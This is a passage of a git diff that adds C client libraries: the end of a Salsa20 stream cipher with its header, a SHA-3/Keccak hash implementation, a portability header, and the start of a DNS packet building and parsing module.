expand = s20_expand16; + + /* If any of the parameters we received are invalid */ + if (expand == NULL || key == NULL || nonce == NULL || buf == NULL) + return S20_FAILURE; + + /* Set up the low 8 bytes of n with the unique message number */ + for (i = 0; i < 8; ++i) + n[i] = nonce[i]; + + /* If we're not on a block boundary, compute the first keystream + * block. This will make the primary loop (below) cleaner */ + if (si % 64 != 0) { + /* Set the second-to-highest 4 bytes of n to the block number */ + s20_rev_littleendian(n+8, si / 64); + /* Expand the key with n and hash to produce a keystream block */ + (*expand)(key, n, keystream); + } + + /* Walk over the plaintext byte-by-byte, xoring the keystream with + * the plaintext and producing new keystream blocks as needed */ + for (i = 0; i < buflen; ++i) { + /* If we've used up our entire keystream block (or have just begun + * and happen to be on a block boundary), produce keystream block */ + if ((si + i) % 64 == 0) { + s20_rev_littleendian(n+8, ((si + i) / 64)); + (*expand)(key, n, keystream); + } + + /* xor one byte of plaintext with one byte of keystream */ + buf[i] ^= keystream[(si + i) % 64]; + } + + return S20_SUCCESS; +} diff --git a/client/libs/crypto/salsa20.h b/client/libs/crypto/salsa20.h new file mode 100644 index 0000000..3f2799d --- /dev/null +++ b/client/libs/crypto/salsa20.h @@ -0,0 +1,73 @@ +#ifndef __SALSA20_H__ +#define __SALSA20_H__ + +#include + +#include "libs/types.h" + +/** + * Return codes for s20_crypt + */ +enum s20_status_t +{ + S20_SUCCESS, + S20_FAILURE +}; + +/** + * Key size + * Salsa20 only permits a 128-bit key or a 256-bit key, so these are + * the only two options made available by this library. + */ +enum s20_keylen_t +{ + S20_KEYLEN_256, + S20_KEYLEN_128 +}; + +/** + * Performs up to 2^32-1 bytes of encryption or decryption under a + * 128- or 256-bit key in blocks of arbitrary size. Permits seeking + * to any point within a stream. + * + * key Pointer to either a 128-bit or 256-bit key. + * No key-derivation function is applied to this key, and no + * entropy is gathered. It is expected that this key is already + * appropriate for direct use by the Salsa20 algorithm. + * + * keylen Length of the key. + * Must be S20_KEYLEN_256 or S20_KEYLEN_128. + * + * nonce Pointer to an 8-byte nonce. + * Does not have to be random, but must be unique for every + * message under a single key. Nonce reuse destroys message + * confidentiality. + * + * si Stream index. + * The position within the stream. When encrypting/decrypting + * a message sequentially from beginning to end in fixed-size + * chunks of length L, this value is increased by L on every + * call. Care must be taken not to select values that cause + * overlap. Example: encrypting 1000 bytes at index 100, and + * then encrypting 1000 bytes at index 500. Doing so will + * result in keystream reuse, which destroys message + * confidentiality. + * + * buf The data to encrypt or decrypt. + * + * buflen Length of the data in buf. + * + * This function returns either S20_SUCCESS or S20_FAILURE. + * A return of S20_SUCCESS indicates that basic sanity checking on + * parameters succeeded and encryption/decryption was performed. + * A return of S20_FAILURE indicates that basic sanity checking on + * parameters failed and encryption/decryption was not performed. + */ +enum s20_status_t s20_crypt(uint8_t *key, + enum s20_keylen_t keylen, + uint8_t nonce[], + uint32_t si, + uint8_t *buf, + uint32_t buflen); + +#endif diff --git a/client/libs/crypto/sha3.c b/client/libs/crypto/sha3.c new file mode 100644 index 0000000..df608ae --- /dev/null +++ b/client/libs/crypto/sha3.c @@ -0,0 +1,356 @@ +/* sha3.c - an implementation of Secure Hash Algorithm 3 (Keccak). + * based on the + * The Keccak SHA-3 submission. Submission to NIST (Round 3), 2011 + * by Guido Bertoni, Joan Daemen, Michaël Peeters and Gilles Van Assche + * + * Copyright: 2013 Aleksey Kravchenko + * + * Permission is hereby granted, free of charge, to any person obtaining a + * copy of this software and associated documentation files (the "Software"), + * to deal in the Software without restriction, including without limitation + * the rights to use, copy, modify, merge, publish, distribute, sublicense, + * and/or sell copies of the Software, and to permit persons to whom the + * Software is furnished to do so. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY + * or FITNESS FOR A PARTICULAR PURPOSE. Use this program at your own risk! + */ + +#include +#include +#include "byte_order.h" +#include "sha3.h" + +/* constants */ +#define NumberOfRounds 24 + +/* SHA3 (Keccak) constants for 24 rounds */ +static uint64_t keccak_round_constants[NumberOfRounds] = { + I64(0x0000000000000001), I64(0x0000000000008082), I64(0x800000000000808A), I64(0x8000000080008000), + I64(0x000000000000808B), I64(0x0000000080000001), I64(0x8000000080008081), I64(0x8000000000008009), + I64(0x000000000000008A), I64(0x0000000000000088), I64(0x0000000080008009), I64(0x000000008000000A), + I64(0x000000008000808B), I64(0x800000000000008B), I64(0x8000000000008089), I64(0x8000000000008003), + I64(0x8000000000008002), I64(0x8000000000000080), I64(0x000000000000800A), I64(0x800000008000000A), + I64(0x8000000080008081), I64(0x8000000000008080), I64(0x0000000080000001), I64(0x8000000080008008) +}; + +/* Initializing a sha3 context for given number of output bits */ +static void keccak_init(sha3_ctx *ctx, unsigned bits) +{ + /* NB: The Keccak capacity parameter = bits * 2 */ + unsigned rate = 1600 - bits * 2; + + memset(ctx, 0, sizeof(sha3_ctx)); + ctx->block_size = rate / 8; + assert(rate <= 1600 && (rate % 64) == 0); +} + +/** + * Initialize context before calculating hash. + * + * @param ctx context to initialize + */ +void sha3_224_init(sha3_ctx *ctx) +{ + keccak_init(ctx, 224); +} + +/** + * Initialize context before calculating hash. + * + * @param ctx context to initialize + */ +void sha3_256_init(sha3_ctx *ctx) +{ + keccak_init(ctx, 256); +} + +/** + * Initialize context before calculating hash. + * + * @param ctx context to initialize + */ +void sha3_384_init(sha3_ctx *ctx) +{ + keccak_init(ctx, 384); +} + +/** + * Initialize context before calculating hash. + * + * @param ctx context to initialize + */ +void sha3_512_init(sha3_ctx *ctx) +{ + keccak_init(ctx, 512); +} + +/* Keccak theta() transformation */ +static void keccak_theta(uint64_t *A) +{ + unsigned int x; + uint64_t C[5], D[5]; + + for (x = 0; x < 5; x++) { + C[x] = A[x] ^ A[x + 5] ^ A[x + 10] ^ A[x + 15] ^ A[x + 20]; + } + D[0] = ROTL64(C[1], 1) ^ C[4]; + D[1] = ROTL64(C[2], 1) ^ C[0]; + D[2] = ROTL64(C[3], 1) ^ C[1]; + D[3] = ROTL64(C[4], 1) ^ C[2]; + D[4] = ROTL64(C[0], 1) ^ C[3]; + + for (x = 0; x < 5; x++) { + A[x] ^= D[x]; + A[x + 5] ^= D[x]; + A[x + 10] ^= D[x]; + A[x + 15] ^= D[x]; + A[x + 20] ^= D[x]; + } +} + +/* Keccak pi() transformation */ +static void keccak_pi(uint64_t *A) +{ + uint64_t A1; + A1 = A[1]; + A[ 1] = A[ 6]; + A[ 6] = A[ 9]; + A[ 9] = A[22]; + A[22] = A[14]; + A[14] = A[20]; + A[20] = A[ 2]; + A[ 2] = A[12]; + A[12] = A[13]; + A[13] = A[19]; + A[19] = A[23]; + A[23] = A[15]; + A[15] = A[ 4]; + A[ 4] = A[24]; + A[24] = A[21]; + A[21] = A[ 8]; + A[ 8] = A[16]; + A[16] = A[ 5]; + A[ 5] = A[ 3]; + A[ 3] = A[18]; + A[18] = A[17]; + A[17] = A[11]; + A[11] = A[ 7]; + A[ 7] = A[10]; + A[10] = A1; + /* note: A[ 0] is left as is */ +} + +/* Keccak chi() transformation */ +static void keccak_chi(uint64_t *A) +{ + int i; + for (i = 0; i < 25; i += 5) { + uint64_t A0 = A[0 + i], A1 = A[1 + i]; + A[0 + i] ^= ~A1 & A[2 + i]; + A[1 + i] ^= ~A[2 + i] & A[3 + i]; + A[2 + i] ^= ~A[3 + i] & A[4 + i]; + A[3 + i] ^= ~A[4 + i] & A0; + A[4 + i] ^= ~A0 & A1; + } +} + +static void sha3_permutation(uint64_t *state) +{ + int round; + for (round = 0; round < NumberOfRounds; round++) + { + keccak_theta(state); + + /* apply Keccak rho() transformation */ + state[ 1] = ROTL64(state[ 1], 1); + state[ 2] = ROTL64(state[ 2], 62); + state[ 3] = ROTL64(state[ 3], 28); + state[ 4] = ROTL64(state[ 4], 27); + state[ 5] = ROTL64(state[ 5], 36); + state[ 6] = ROTL64(state[ 6], 44); + state[ 7] = ROTL64(state[ 7], 6); + state[ 8] = ROTL64(state[ 8], 55); + state[ 9] = ROTL64(state[ 9], 20); + state[10] = ROTL64(state[10], 3); + state[11] = ROTL64(state[11], 10); + state[12] = ROTL64(state[12], 43); + state[13] = ROTL64(state[13], 25); + state[14] = ROTL64(state[14], 39); + state[15] = ROTL64(state[15], 41); + state[16] = ROTL64(state[16], 45); + state[17] = ROTL64(state[17], 15); + state[18] = ROTL64(state[18], 21); + state[19] = ROTL64(state[19], 8); + state[20] = ROTL64(state[20], 18); + state[21] = ROTL64(state[21], 2); + state[22] = ROTL64(state[22], 61); + state[23] = ROTL64(state[23], 56); + state[24] = ROTL64(state[24], 14); + + keccak_pi(state); + keccak_chi(state); + + /* apply iota(state, round) */ + *state ^= keccak_round_constants[round]; + } +} + +/** + * The core transformation. Process the specified block of data. + * + * @param hash the algorithm state + * @param block the message block to process + * @param block_size the size of the processed block in bytes + */ +static void sha3_process_block(uint64_t hash[25], const uint64_t *block, size_t block_size) +{ + /* expanded loop */ + hash[ 0] ^= le2me_64(block[ 0]); + hash[ 1] ^= le2me_64(block[ 1]); + hash[ 2] ^= le2me_64(block[ 2]); + hash[ 3] ^= le2me_64(block[ 3]); + hash[ 4] ^= le2me_64(block[ 4]); + hash[ 5] ^= le2me_64(block[ 5]); + hash[ 6] ^= le2me_64(block[ 6]); + hash[ 7] ^= le2me_64(block[ 7]); + hash[ 8] ^= le2me_64(block[ 8]); + /* if not sha3-512 */ + if (block_size > 72) { + hash[ 9] ^= le2me_64(block[ 9]); + hash[10] ^= le2me_64(block[10]); + hash[11] ^= le2me_64(block[11]); + hash[12] ^= le2me_64(block[12]); + /* if not sha3-384 */ + if (block_size > 104) { + hash[13] ^= le2me_64(block[13]); + hash[14] ^= le2me_64(block[14]); + hash[15] ^= le2me_64(block[15]); + hash[16] ^= le2me_64(block[16]); + /* if not sha3-256 */ + if (block_size > 136) { + hash[17] ^= le2me_64(block[17]); +#ifdef FULL_SHA3_FAMILY_SUPPORT + /* if not sha3-224 */ + if (block_size > 144) { + hash[18] ^= le2me_64(block[18]); + hash[19] ^= le2me_64(block[19]); + hash[20] ^= le2me_64(block[20]); + hash[21] ^= le2me_64(block[21]); + hash[22] ^= le2me_64(block[22]); + hash[23] ^= le2me_64(block[23]); + hash[24] ^= le2me_64(block[24]); + } +#endif + } + } + } + /* make a permutation of the hash */ + sha3_permutation(hash); +} + +#define SHA3_FINALIZED 0x80000000 + +/** + * Calculate message hash. + * Can be called repeatedly with chunks of the message to be hashed. + * + * @param ctx the algorithm context containing current hashing state + * @param msg message chunk + * @param size length of the message chunk + */ +void sha3_update(sha3_ctx *ctx, const unsigned char *msg, size_t size) +{ + size_t index = (size_t)ctx->rest; + size_t block_size = (size_t)ctx->block_size; + + if (ctx->rest & SHA3_FINALIZED) return; /* too late for additional input */ + ctx->rest = (unsigned)((ctx->rest + size) % block_size); + + /* fill partial block */ + if (index) { + size_t left = block_size - index; + memcpy((char*)ctx->message + index, msg, (size < left ? size : left)); + if (size < left) return; + + /* process partial block */ + sha3_process_block(ctx->hash, ctx->message, block_size); + msg += left; + size -= left; + } + while (size >= block_size) { + uint64_t* aligned_message_block; + if (IS_ALIGNED_64(msg)) { + /* the most common case is processing of an already aligned message + without copying it */ + aligned_message_block = (uint64_t*)msg; + } else { + memcpy(ctx->message, msg, block_size); + aligned_message_block = ctx->message; + } + + sha3_process_block(ctx->hash, aligned_message_block, block_size); + msg += block_size; + size -= block_size; + } + if (size) { + memcpy(ctx->message, msg, size); /* save leftovers */ + } +} + +/** + * Store calculated hash into the given array. + * + * @param ctx the algorithm context containing current hashing state + * @param result calculated hash in binary form + */ +void sha3_final(sha3_ctx *ctx, unsigned char* result) +{ + size_t digest_length = 100 - ctx->block_size / 2; + const size_t block_size = ctx->block_size; + + if (!(ctx->rest & SHA3_FINALIZED)) + { + /* clear the rest of the data queue */ + memset((char*)ctx->message + ctx->rest, 0, block_size - ctx->rest); + ((char*)ctx->message)[ctx->rest] |= 0x06; + ((char*)ctx->message)[block_size - 1] |= 0x80; + + /* process final block */ + sha3_process_block(ctx->hash, ctx->message, block_size); + ctx->rest = SHA3_FINALIZED; /* mark context as finalized */ + } + + assert(block_size > digest_length); + if (result) me64_to_le_str(result, ctx->hash, digest_length); +} + +#ifdef USE_KECCAK +/** +* Store calculated hash into the given array. +* +* @param ctx the algorithm context containing current hashing state +* @param result calculated hash in binary form +*/ +void keccak_final(sha3_ctx *ctx, unsigned char* result) +{ + size_t digest_length = 100 - ctx->block_size / 2; + const size_t block_size = ctx->block_size; + + if (!(ctx->rest & SHA3_FINALIZED)) + { + /* clear the rest of the data queue */ + memset((char*)ctx->message + ctx->rest, 0, block_size - ctx->rest); + ((char*)ctx->message)[ctx->rest] |= 0x01; + ((char*)ctx->message)[block_size - 1] |= 0x80; + + /* process final block */ + sha3_process_block(ctx->hash, ctx->message, block_size); + ctx->rest = SHA3_FINALIZED; /* mark context as finalized */ + } + + assert(block_size > digest_length); + if (result) me64_to_le_str(result, ctx->hash, digest_length); +} +#endif /* USE_KECCAK */ diff --git a/client/libs/crypto/sha3.h b/client/libs/crypto/sha3.h new file mode 100644 index 0000000..3165803 --- /dev/null +++ b/client/libs/crypto/sha3.h @@ -0,0 +1,54 @@ +/* sha3.h */ +#ifndef __SHA3_H__ +#define __SHA3_H__ +#include "ustd.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#define sha3_224_hash_size 28 +#define sha3_256_hash_size 32 +#define sha3_384_hash_size 48 +#define sha3_512_hash_size 64 +#define sha3_max_permutation_size 25 +#define sha3_max_rate_in_qwords 24 + +/** + * SHA3 Algorithm context. + */ +typedef struct sha3_ctx +{ + /* 1600 bits algorithm hashing state */ + uint64_t hash[sha3_max_permutation_size]; + /* 1536-bit buffer for leftovers */ + uint64_t message[sha3_max_rate_in_qwords]; + /* count of bytes in the message[] buffer */ + unsigned rest; + /* size of a message block processed at once */ + unsigned block_size; +} sha3_ctx; + +/* methods for calculating the hash function */ + +void sha3_224_init(sha3_ctx *ctx); +void sha3_256_init(sha3_ctx *ctx); +void sha3_384_init(sha3_ctx *ctx); +void sha3_512_init(sha3_ctx *ctx); +void sha3_update(sha3_ctx *ctx, const unsigned char* msg, size_t size); +void sha3_final(sha3_ctx *ctx, unsigned char* result); + +#ifdef USE_KECCAK +#define keccak_224_init sha3_224_init +#define keccak_256_init sha3_256_init +#define keccak_384_init sha3_384_init +#define keccak_512_init sha3_512_init +#define keccak_update sha3_update +void keccak_final(sha3_ctx *ctx, unsigned char* result); +#endif + +#ifdef __cplusplus +} /* extern "C" */ +#endif /* __cplusplus */ + +#endif /* __SHA3_H__ */ diff --git a/client/libs/crypto/ustd.h b/client/libs/crypto/ustd.h new file mode 100644 index 0000000..72ffee8 --- /dev/null +++ b/client/libs/crypto/ustd.h @@ -0,0 +1,30 @@ +/* ustd.h common macros and includes */ +#ifndef LIBRHASH_USTD_H +#define LIBRHASH_USTD_H + +#if _MSC_VER >= 1300 + +# define int64_t __int64 +# define int32_t __int32 +# define int16_t __int16 +# define int8_t __int8 +# define uint64_t unsigned __int64 +# define uint32_t unsigned __int32 +# define uint16_t unsigned __int16 +# define uint8_t unsigned __int8 + +/* disable warnings: The POSIX name for this item is deprecated. Use the ISO C++ conformant name. */ +#pragma warning(disable : 4996) + +#else /* _MSC_VER >= 1300 */ + +# include +# include + +#endif /* _MSC_VER >= 1300 */ + +#if _MSC_VER <= 1300 +# include /* size_t for vc6.0 */ +#endif /* _MSC_VER <= 1300 */ + +#endif /* LIBRHASH_USTD_H */ diff --git a/client/libs/dns.c b/client/libs/dns.c new file mode 100644 index 0000000..6d98ad5 --- /dev/null +++ b/client/libs/dns.c @@ -0,0 +1,1296 @@ +/* dns.c + * By Ron Bowes + * Created December, 2009 + * + * (See LICENSE.md) + */ + +#include +#include /* For isspace(). */ +#include +#include +#include + +#ifdef WIN32 +#include +#include +#include +#else +#include +#include +#include +#include +#endif + +#include "buffer.h" +#include "memory.h" + +#include "dns.h" + +static void buffer_add_dns_name(buffer_t *buffer, char *name) +{ + char *domain_base = safe_strdup(name); + char *domain_start; + char *domain_end; + + domain_start = domain_base; + while((domain_end = strchr(domain_start, '.'))) + { + /* Set the end of the string to null. */ + *domain_end = '\0'; + /* Add it to the buffer. */ + buffer_add_int8(buffer, strlen(domain_start)); + buffer_add_string(buffer, domain_start); + + /* Move the 'start' string to the next character. */ + domain_start = domain_end + 1; + } + /* Add the last part to the buffer, if we have one (if not, just add the null byte). */ + if(strlen(domain_start)) + { + buffer_add_int8(buffer, strlen(domain_start)); + buffer_add_string(buffer, domain_start); + } + + /* Add the final null byte. */ + buffer_add_int8(buffer, 0x00); + + /* Can't forget to free our pointer. */ + safe_free(domain_base); +} + +static char *buffer_read_dns_name_at(buffer_t *buffer, uint32_t offset, uint32_t *real_length) +{ + uint8_t piece_length; + uint32_t pos = 0; + buffer_t *ret = buffer_create(BO_NETWORK); + + /* Read the first character -- it's the size of the initial string. */ + piece_length = buffer_read_int8_at(buffer, offset + pos); + pos++; + + while(piece_length) + { + if(piece_length & 0x80) + { + if(piece_length == 0xc0) + { + uint8_t relative_pos = buffer_read_int8_at(buffer, offset + pos); + char *new_data; + pos++; + + new_data = buffer_read_dns_name_at(buffer, relative_pos, NULL); + buffer_add_string(ret, new_data); + safe_free(new_data); + + /* Setting piece_length to 0 makes the loop end. */ + piece_length = 0; + } + else + { + fprintf(stderr, "DNS server returned an unknown character in the string: 0x%02x\n", piece_length); + DIE("Couldn't process string"); + } + } + else + { + uint8_t *piece = (uint8_t*) safe_malloc(piece_length); + buffer_read_bytes_at(buffer, offset + pos, piece, piece_length); + buffer_add_bytes(ret, piece, piece_length); + safe_free(piece); + + pos = pos + piece_length; + + /* Read the next length. */ + piece_length = buffer_read_int8_at(buffer, offset + pos); + + /* If the next piece exists, add a period. */ + if(piece_length) + buffer_add_int8(ret, '.'); + + /* Increment the position. */ + pos++; + } + } + + /* Add a final null terminator to the string. */ + buffer_add_int8(ret, '\0'); + + if(real_length) + *real_length = pos; + + return (char*)buffer_create_string_and_destroy(ret, NULL); +} + +static char *buffer_read_next_dns_name(buffer_t *buffer) +{ + char *result; + uint32_t actual_length; + + result = buffer_read_dns_name_at(buffer, buffer_get_current_offset(buffer), &actual_length); + buffer_set_current_offset(buffer, buffer_get_current_offset(buffer) + actual_length); + + return result; +} + +static char *buffer_read_ipv4_address_at(buffer_t *buffer, uint32_t offset, char result[16]) +{ +#ifdef WIN32 + printf("NOT IMPLEMENTED!\n"); + exit(1); +#else + uint8_t addr[4]; + + buffer_read_bytes_at(buffer, offset, addr, 4); + inet_ntop(AF_INET, addr, result, 16); +#endif + + return result; +} + +static char *buffer_read_next_ipv4_address(buffer_t *buffer, char result[16]) +{ + buffer_read_ipv4_address_at(buffer, buffer_get_current_offset(buffer), result); + buffer_set_current_offset(buffer, buffer_get_current_offset(buffer) + 4); + + return result; +} + +static buffer_t *buffer_add_ipv4_address(buffer_t *buffer, char *address) +{ +#ifdef WIN32 + SOCKADDR_IN MyAddrValue; + int MyAddrSize = sizeof(struct sockaddr_storage); + MyAddrValue.sin_family = AF_INET; + WSAStringToAddressA(address, AF_INET, NULL, (LPSOCKADDR)&MyAddrValue, &MyAddrSize); + + buffer_add_int8(buffer, MyAddrValue.sin_addr.S_un.S_un_b.s_b1); + buffer_add_int8(buffer, MyAddrValue.sin_addr.S_un.S_un_b.s_b2); + buffer_add_int8(buffer, MyAddrValue.sin_addr.S_un.S_un_b.s_b3); + buffer_add_int8(buffer, MyAddrValue.sin_addr.S_un.S_un_b.s_b4); +#else + uint8_t out[4]; + inet_pton(AF_INET, address, out); + buffer_add_bytes(buffer, out, 4); +#endif + + return buffer; +} + +static char *buffer_read_ipv6_address_at(buffer_t *buffer, uint32_t offset, char result[40]) +{ +#ifdef WIN32 + printf("NOT IMPLEMENTED!\n"); + exit(1); +#else + uint8_t addr[16]; + + buffer_read_bytes_at(buffer, offset, addr, 16); + inet_ntop(AF_INET6, addr, result, 40); +#endif + + return result; +} + +static char *buffer_read_next_ipv6_address(buffer_t *buffer, char result[40]) +{ + buffer_read_ipv6_address_at(buffer, buffer_get_current_offset(buffer), result); + buffer_set_current_offset(buffer, buffer_get_current_offset(buffer) + 16); + + return result; +} + +buffer_t *buffer_add_ipv6_address(buffer_t *buffer, char *address) +{ +#ifdef WIN32 +/* Only works on modern versions of Windows -- not good enough. + + SOCKADDR_IN6 MyAddrValue; + int MyAddrSize = sizeof(struct sockaddr_storage); + MyAddrValue.sin6_family = AF_INET6; + + printf("String: %s\n", address); + if(WSAStringToAddressA(address, AF_INET6, NULL, (LPSOCKADDR)&MyAddrValue, &MyAddrSize) != 0) + { + printf("WSAStringToAddress() failed with error code %ld\n", getlasterror()); + } + + buffer_add_bytes(buffer, MyAddrValue.sin6_addr.u.Byte, 16); */ + fprintf(stderr, "Sorry, IPv6 (AAAA) addresses aren't supported on Windows.\n"); + buffer_add_bytes(buffer, "AAAAAAAAAAAAAAAA", 16); +#else + uint8_t out[16]; + + inet_pton(AF_INET6, address, out); + buffer_add_bytes(buffer, out, 16); +#endif + + return buffer; +} + +static dns_t *dns_create_internal() +{ + dns_t *dns = (dns_t*) safe_malloc(sizeof(dns_t)); + memset(dns, 0, sizeof(dns_t)); + + return dns; +} + +dns_t *dns_create(dns_opcode_t opcode, dns_flag_t flags, dns_rcode_t rcode) +{ + dns_t *dns = dns_create_internal(); + + dns->trn_id = rand() & 0xFFFF; + dns->opcode = opcode; + dns->flags = flags; + dns->rcode = rcode; + + return dns; +} + +dns_t *dns_create_from_packet(uint8_t *packet, size_t length) +{ + uint16_t i; + buffer_t *buffer = buffer_create_with_data(BO_NETWORK, packet, length); + dns_t *dns = dns_create_internal(); + uint16_t flags; + + dns->trn_id = buffer_read_next_int16(buffer); + flags = buffer_read_next_int16(buffer); + dns->question_count = buffer_read_next_int16(buffer); + dns->answer_count = buffer_read_next_int16(buffer); + dns->authority_count = buffer_read_next_int16(buffer); + dns->additional_count = buffer_read_next_int16(buffer); + + /* Parse the 'flags' field: + * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ + * | 1 1 1 1 1 1| + * | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5| + * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ + * |QR| Opcode |AA|TC|RD|RA| Z | RCODE | + * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ */ + dns->opcode = flags & 0x7800; + dns->flags = flags & 0x8780; + dns->rcode = flags & 0x000F; + + if(dns->question_count) + { + dns->questions = (question_t*) safe_malloc(dns->question_count * sizeof(question_t)); + for(i = 0; i < dns->question_count; i++) + { + dns->questions[i].name = buffer_read_next_dns_name(buffer); + dns->questions[i].type = buffer_read_next_int16(buffer); + dns->questions[i].class = buffer_read_next_int16(buffer); + } + } + + if(dns->answer_count) + { + dns->answers = (answer_t*) safe_malloc(dns->answer_count * sizeof(answer_t)); + for(i = 0; i < dns->answer_count; i++) + { + dns->answers[i].question = buffer_read_next_dns_name(buffer); /* The question. */ + dns->answers[i].type = buffer_read_next_int16(buffer); /* Type. */ + dns->answers[i].class = buffer_read_next_int16(buffer); /* Class. */ + dns->answers[i].ttl = buffer_read_next_int32(buffer); /* Time to live. */ + dns->answers[i].answer = (answer_types_t *) safe_malloc(sizeof(answer_types_t)); + + if(dns->answers[i].type == _DNS_TYPE_A) /* 0x0001 */ + { + buffer_read_next_int16(buffer); /* String size (don't care) */ + + dns->answers[i].answer->A.address = safe_malloc(16); + buffer_peek_next_bytes(buffer, dns->answers[i].answer->A.bytes, 4); + buffer_read_next_ipv4_address(buffer, dns->answers[i].answer->A.address); + } + else if(dns->answers[i].type == _DNS_TYPE_NS) /* 0x0002 */ + { + buffer_read_next_int16(buffer); /* String size. */ + dns->answers[i].answer->NS.name = buffer_read_next_dns_name(buffer); /* The answer. */ + } + else if(dns->answers[i].type == _DNS_TYPE_CNAME) /* 0x0005 */ + { + buffer_read_next_int16(buffer); /* String size (don't care). */ + dns->answers[i].answer->CNAME.name = buffer_read_next_dns_name(buffer); /* The answer. */ + } + else if(dns->answers[i].type == _DNS_TYPE_MX) /* 0x000F */ + { + buffer_read_next_int16(buffer); /* String size (don't care). */ + dns->answers[i].answer->MX.preference = buffer_read_next_int16(buffer); /* Preference. */ + dns->answers[i].answer->MX.name = buffer_read_next_dns_name(buffer); /* The answer. */ + } + else if(dns->answers[i].type == _DNS_TYPE_TEXT) /* 0x0010 */ + { + buffer_read_next_int16(buffer); /* String size (don't care). */ + dns->answers[i].answer->TEXT.length = buffer_read_next_int8(buffer); /* The actual length. */ + dns->answers[i].answer->TEXT.text = safe_malloc(dns->answers[i].answer->TEXT.length); /* Allocate room for the answer. */ + buffer_read_next_bytes(buffer, dns->answers[i].answer->TEXT.text, dns->answers[i].answer->TEXT.length); /* Read the answer. */ + } +#ifndef WIN32 + else if(dns->answers[i].type == _DNS_TYPE_AAAA) /* 0x001C */ + { + buffer_read_next_int16(buffer); /* String size (don't care). */ + + dns->answers[i].answer->AAAA.address = safe_malloc(40); + buffer_peek_next_bytes(buffer, dns->answers[i].answer->AAAA.bytes, 16); + buffer_read_next_ipv6_address(buffer, dns->answers[i].answer->AAAA.address); + } +#endif + else if(dns->answers[i].type == _DNS_TYPE_NB) /* 0x0020 */ + { + buffer_read_next_int16(buffer); /* String size (don't care). */ + + dns->answers[i].answer->NB.flags = buffer_read_next_int16(buffer); + dns->answers[i].answer->NB.address = safe_malloc(16); + buffer_read_next_ipv4_address(buffer, dns->answers[i].answer->NB.address); + } + else if(dns->answers[i].type == _DNS_TYPE_NBSTAT) /* 0x0021 */ + { + uint8_t j; + + uint16_t size = buffer_read_next_int16(buffer); /* String size (don't care). */ + dns->answers[i].answer->NBSTAT.name_count = buffer_read_next_int8(buffer); + dns->answers[i].answer->NBSTAT.names = (NBSTAT_name_t*) safe_malloc(sizeof(NBSTAT_name_t) * dns->answers[i].answer->NBSTAT.name_count); + + /* Read the list of names. */ + for(j = 0; j < dns->answers[i].answer->NBSTAT.name_count; j++) + { + char tmp[16]; + char *end; + + /* Read the full name. */ + buffer_read_next_bytes(buffer, tmp, 16); + + /* The type is the last byte -- read it then terminate the string properly. */ + dns->answers[i].answer->NBSTAT.names[j].name_type = tmp[15]; + tmp[15] = 0; + + /* Find the end and, if it was found, terminate it. */ + end = strchr(tmp, ' '); + if(end) + *end = 0; + + /* Save this name. */ + dns->answers[i].answer->NBSTAT.names[j].name = safe_strdup(tmp); + + /* Finally, read the flags. */ + dns->answers[i].answer->NBSTAT.names[j].name_flags = buffer_read_next_int16(buffer); + } + + /* Read the rest of the data -- for a bit of safety so we don't read too far, do some math to figure out exactly what's left. */ + buffer_read_next_bytes(buffer, dns->answers[i].answer->NBSTAT.stats, MIN(64, size - 1 - (dns->answers[i].answer->NBSTAT.name_count * 16))); + } + else + { + uint16_t size; + + fprintf(stderr, "WARNING: Don't know how to parse an answer of type 0x%04x (discarding)\n", dns->answers[i].type); + size = buffer_read_next_int16(buffer); + buffer_consume(buffer, size); + } + } + } + + /* TODO */ + if(dns->authority_count) + { + dns->authorities = (authority_t*) safe_malloc(dns->question_count * sizeof(question_t)); + } + + if(dns->additional_count) + { + dns->additionals = (additional_t*) safe_malloc(dns->additional_count * sizeof(additional_t)); + for(i = 0; i < dns->additional_count; i++) + { + dns->additionals[i].question = buffer_read_next_dns_name(buffer); /* The question. */ + dns->additionals[i].type = buffer_read_next_int16(buffer); /* Type. */ + dns->additionals[i].class = buffer_read_next_int16(buffer); /* Class. */ + dns->additionals[i].ttl = buffer_read_next_int32(buffer); /* Time to live. */ + dns->additionals[i].additional = (additional_types_t *) safe_malloc(sizeof(additional_types_t)); + + if(dns->additionals[i].type == _DNS_TYPE_A) /* 0x0001 */ + { + buffer_read_next_int16(buffer); /* String size (don't care) */ + + dns->additionals[i].additional->A.address = safe_malloc(16); + buffer_read_next_ipv4_address(buffer, dns->additionals[i].additional->A.address); + } + else if(dns->additionals[i].type == _DNS_TYPE_NS) /* 0x0002 */ + { + buffer_read_next_int16(buffer); /* String size. */ + dns->additionals[i].additional->NS.name = buffer_read_next_dns_name(buffer); /* The additional. */ + } + else if(dns->additionals[i].type == _DNS_TYPE_CNAME) /* 0x0005 */ + { + buffer_read_next_int16(buffer); /* String size (don't care). */ + dns->additionals[i].additional->CNAME.name = buffer_read_next_dns_name(buffer); /* The additional. */ + } + else if(dns->additionals[i].type == _DNS_TYPE_MX) /* 0x000F */ + { + buffer_read_next_int16(buffer); /* String size (don't care). */ + dns->additionals[i].additional->MX.preference = buffer_read_next_int16(buffer); /* Preference. */ + dns->additionals[i].additional->MX.name = buffer_read_next_dns_name(buffer); /* The additional. */ + } + else if(dns->additionals[i].type == _DNS_TYPE_TEXT) /* 0x0010 */ + { + buffer_read_next_int16(buffer); /* String size (don't care). */ + dns->additionals[i].additional->TEXT.length = buffer_read_next_int8(buffer); /* The actual length. */ + dns->additionals[i].additional->TEXT.text = safe_malloc(dns->additionals[i].additional->TEXT.length); /* Allocate room for the additional. */ + buffer_read_next_bytes(buffer, dns->additionals[i].additional->TEXT.text, dns->additionals[i].additional->TEXT.length); /* Read the additional. */ + } +#ifndef WIN32 + else if(dns->additionals[i].type == _DNS_TYPE_AAAA) /* 0x001C */ + { + buffer_read_next_int16(buffer); /* String size (don't care). */ + + dns->additionals[i].additional->AAAA.address = safe_malloc(40); + buffer_read_next_ipv6_address(buffer, dns->additionals[i].additional->AAAA.address); + } +#endif + else if(dns->additionals[i].type == _DNS_TYPE_NB) /* 0x0020 */ + { + buffer_read_next_int16(buffer); /* String size (don't care). */ + + dns->additionals[i].additional->NB.flags = buffer_read_next_int16(buffer); + dns->additionals[i].additional->NB.address = 